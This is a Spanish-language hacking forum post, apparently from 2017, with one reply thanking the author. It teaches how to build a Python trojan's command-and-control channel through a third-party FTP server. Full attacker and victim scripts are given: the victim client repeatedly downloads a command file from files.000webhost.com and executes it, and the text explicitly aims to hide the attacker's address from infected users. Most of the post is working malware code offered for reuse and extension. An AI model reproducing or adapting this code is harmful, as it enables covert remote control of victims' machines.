Cliente-Servidor para troyanos

Iniciado por porni, Diciembre 15, 2017, 03:51:53 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Diciembre 15, 2017, 03:51:53 PM Ultima modificación: Diciembre 15, 2017, 03:55:02 PM por porni
Buenos días, tardes o noches. Primer aporte , espero que lo encuentren útil/interesante/mágico(?

Introducción:
                   Erase una vez, en una galaxia muy muy lejana... Digo, usualmente cuando queremos crear un troyano en Python y necesitamos una manera de comunicarnos con el dispositivo infectado, usamos sockets para armar una comunicación de tipo cliente-servidor. Esto es muy útil para enviar comandos, recibir datos, etc , etc. Si el cliente se conecta a nuestro servidor, no es difícil que monitoree el trafico de la red y que nuestra dirección lo salude coordialmente. ¿Hay manera de evitar que nuestra dirección sea taaan fácilmente descubierta? Claro! Pero no es la idea de este post  ;) Porque no es el único problema que tiene este tipo de cliente-servidor. Otro ejemplo ( al final voy a listar todos los pro y los contras, así la introducción no se me hace mas larga que la de El Silmarillion) es que es necesario abrir puertos para que nuestro servidor reciba la conexión, y por mas que no sea difícil, hay varias compañías de internet ( *lease f1b3rt3l) que no les gusta que andemos merodeando por el panel de control del modem/router.


Si estás leyendo esto es porque no te quedaste dormido con la breve introducción, genial!
Resulta que hay una forma de evitar estos pequeños y odiosos inconvenientes ya mencionados  8) 8)

Vamos a usar a nuestro querido FTP (si, volvió en forma de fichas!)
La idea que es que el cliente infectado por nuestro malévolo troyano se conecte directamente a un servidor FTP aislado de nosotros, descargue un pequeño archivo con instrucciones ( ::) ), y las ejecute. Por nuestra parte, nosotros también nos vamos a conectar a ese servidor, pero solo para cargarle el pequeño archivo con las instrucciones.



Así evitamos que nuestra dirección de IP esté totalmente al descubierto, no tenemos que abrir ningún puerto ( porque entendemos que eso le molesta a nuestros amigos proveedores de internet  ::) ), podemos conectarnos desde cualquier lugar remoto,solo teniendo nuestro servidor ( o subiendo desde otro lado las instrucciones, pero le quitamos la magia ), y un largo etc.

Manos a la obra entonces!

1) El primer paso es tener un servidor FTP:
Si ya tenes uno , este paso saltealo, de no ser así , acá está el que uso yo y recomiendo : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Este post no se trata de como usar un servidor FTP, asi que te dejo que averigües solo ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) todo sobre esta pagina, cualquier cosa MD

2) Vamos a crear nuestro querido servidor ( que se conecta al servidor FTP):

Importamos la librería que vamos a usar
Código: php
from ftplib import FTP


Creamos la función main con los datos de nuestro servidor FTP:

Código: php
def main():
print "[+]Conectando al servidor "
host = 'files.000webhost.com'
usuarioFTP = 'nombreUsuario'
passwordFTP = 'password'


Creamos la función conexión,que va a recibir tres parámetros : la dirección del FTP, el usuario y la contraseña, y se va a conectar:
Código: php
def conexion(_dirFTP,_admin,_passw):

ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+] Conexion establecida con el servidor ftp"


Ahora la parte donde subimos el comando que queremos que ejecute nuestro cliente victima :
Código: php

        comando = raw_input ("enviar comando para cliente >> ")
archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()

ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))
ftp.quit()


Si, está bien, te lo explico ...

Código: php
comando = raw_input ("enviar comando para cliente >> ")
Escribis el comando que queres que ejecute

Código: php

        archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()


Y lo guardamos en un archivo , que vamos a subirlo con esta linea :
Código: php
ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))


Ya tenemos nuestra hermosa puerta para enviar todos los comandos que queremos al servidor!

Bueno,ahora viene la parte del cliente victima,infectado,ex. El código varía poco, porque se tiene que conectar al servidor también, pero solo descarga y ejecuta las instrucciones:

1)Importamos las librerias

Código: php

from ftplib import FTP
import os


2) Definimos la función main()

Código: php

def main():
host = 'files.000webhost.com'
usuarioFTP = 'user'
passwordFTP = 'pass'


SPOILER ALERT: si averiguaste un poco del FTP, tenes que saber que también podes conectarte de forma anónima sin usuario ni contraseña, pero eso te lo dejo a vos

3)Creamos la funcion conectar/3 , que recibe el host, es usuario y la contraseña y se conecta.

Código: php

        ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)



La siguiente funcion va a descargar el archivo con instrucciones:

Código: php

        file = open('comandos.txt','wb')

ftp.retrbinary("RETR comandos.txt",file.write)


Donde
Código: php
ftp.retrbinary("RETR comandos.txt",file.write)
descarga el archivo "comandos.txt" del servidor

4)Por último leemos el archivo y ejecutamos los comandos . OJO! Acá tenemos un sinfin de posibilidades para armar nuestros propios comandos o acciones a realizar a partir de lo que reciba
Código: php

archivo = open('comandos.txt','r')
for linea in archivo:
if (linea == "abrir underC0d3") :
os.system('start https://underc0de.org/')
#ejemplo de comando que se le puede enviar
#NOTA:  aca podemos armar nuestros comandos personalizados
if (linea == "saludo"):
print ""
print "Hola cliente"
print ""


PD: Solo en forma de ejemplo se hace todo manual, la idea es que este metido dentro de un bucle para que se repita cada cierto tiempo


Acá les dejo todo el código completo, modifiquenlo a su gusto, espero que les haya servido

miServer.py
Código: php

from ftplib import FTP

def conexion(_dirFTP,_admin,_passw):
try:
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+] Conexion establecida con el servidor ftp"
comando = raw_input ("enviar comando para cliente >> ")
except Exception,f :
print "[-] No se pudo conectar con el servidor ftp"

archivoComandos = open("comandos.txt",'w')
archivoComandos.write(comando)
archivoComandos.close()
#abrir archivo de texto,borrar su contenido y copiar el comando nuevo

filename = "comandos.txt"

try:
ftp.storbinary("STOR %s" %filename,open("%s" %(filename)))
print "[+] Comando enviado "
ftp.quit()
#subir el archivo al servidor

except Exception,e:
print "[-] No se pudo enviar el comando :", e


#El cliente tiene la funcion DescargarArchivo, que haremos que cada
# cierto tiempo descargue los comandos



def main():
print "[+]Conectando al servidor "
host = 'files.000webhost.com'
usuarioFTP = 'admin'
passwordFTP = 'pass'

conexion(host,usuarioFTP,passwordFTP)

main()




miCliente.py

Código: php

from ftplib import FTP
import os

def conectar(_dirFTP,_admin,_passw):
try:
ftp = FTP(_dirFTP)
ftp.login(_admin,_passw)
print "[+]Conectado al servidor"

except Exception,f:
print "[-]Error al conectarse con el servidor"

#incluirlo en una funcion que cada X tiempo cumpla este ciclo
try:
print "[+] Descargando comandos.."
file = open('comandos.txt','wb')

ftp.retrbinary("RETR comandos.txt",file.write)

print "[+] Ejecutando comandos.."

except Exception,e:
print "[-] Error al descargar los comandos ", e

def ejecutarComando(_archivo):
#lee el archivo y ejecuta los comandos

archivo = open('comandos.txt','r')
for linea in archivo:
if (linea == "abrir underC0d3") :
os.system('start https://underc0de.org/')
#ejemplo de comando que se le puede enviar
#NOTA:  aca podemos armar nuestros comandos personalizados
if (linea == "saludo"):
print ""
print "Hola cliente"
print ""

archivo.close()

print "[+] Comando ejecutado"

def main():
host = 'files.000webhost.com'
usuarioFTP = 'admin'
passwordFTP = 'pass'

conectar(host,usuarioFTP,passwordFTP)
ejecutarComando("comandos.txt")

main()


Con objeto de que se entienda mejor, el código está comentado y le saltan alertas para indicar que va todo bien. Claramente, un troyano no va a tener nada de eso






Muy bien explicado. Gracias por compartir!